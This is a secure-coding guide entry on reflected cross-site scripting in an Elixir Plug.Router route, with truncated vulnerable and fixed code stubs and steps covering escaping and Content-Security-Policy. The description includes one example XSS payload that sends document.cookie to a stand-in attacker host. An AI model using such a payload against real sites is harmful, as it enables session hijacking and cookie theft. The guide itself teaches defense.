Reflected cross-site scripting (XSS)
Need
Encoding of user input before it is written to an HTML response
Context
• Usage of Elixir 1.15+ for building application services
• Usage of Plug.Router for handling HTTP requests
Description
1. Non compliant code
defmodule MyAppWeb.GreetRouter do
use Plug.Router
plug :match
plug :fetch_query_params
plug :dispatch
get "/greet" do...The `/greet` route below inserts the `name` query parameter into an HTML fragment with string interpolation and sends it with the `text/html` content type. Nothing encodes the value, so HTML metacharacters keep their meaning. A link such as `/greet?name=<script>fetch('https://attacker.example/?c='+document.cookie)</script>` makes the server reflect a script that runs in the browser of whoever opens it, in the origin of the application. The attacker can then act with the victim's session, read what they can read or steal cookies that are not `HttpOnly`.
2. Steps
• Encode every request-derived value with `Plug.HTML.html_escape/1` before inserting it into HTML built by hand.
• Prefer HEEx templates or `Phoenix.HTML`, which escape interpolated values automatically, and avoid `raw/1` with user input.
• Return JSON with the `application/json` content type when the client does not need HTML.
• Send a restrictive `Content-Security-Policy` header that disallows inline scripts.
3. Secure code example
defmodule MyAppWeb.GreetRouter do
use Plug.Router
plug :match
plug :fetch_query_params
plug :dispatch
get "/greet" do...The corrected route passes the parameter through `Plug.HTML.html_escape/1`, which replaces `<`, `>`, `&`, `"` and `'` with their HTML entities, so the browser displays the value as text instead of parsing it as markup. The response also sends a `Content-Security-Policy` header that only allows scripts from the application itself. The policy is a second layer of defense: even if an encoding mistake slips through, the browser refuses to run inline scripts. In Phoenix applications, HEEx templates and `Phoenix.HTML` escape every interpolated value automatically; the risk appears when HTML is built by hand as in this route, or when values are marked with `raw/1`.
References
• 008. Reflected cross-site scripting (XSS)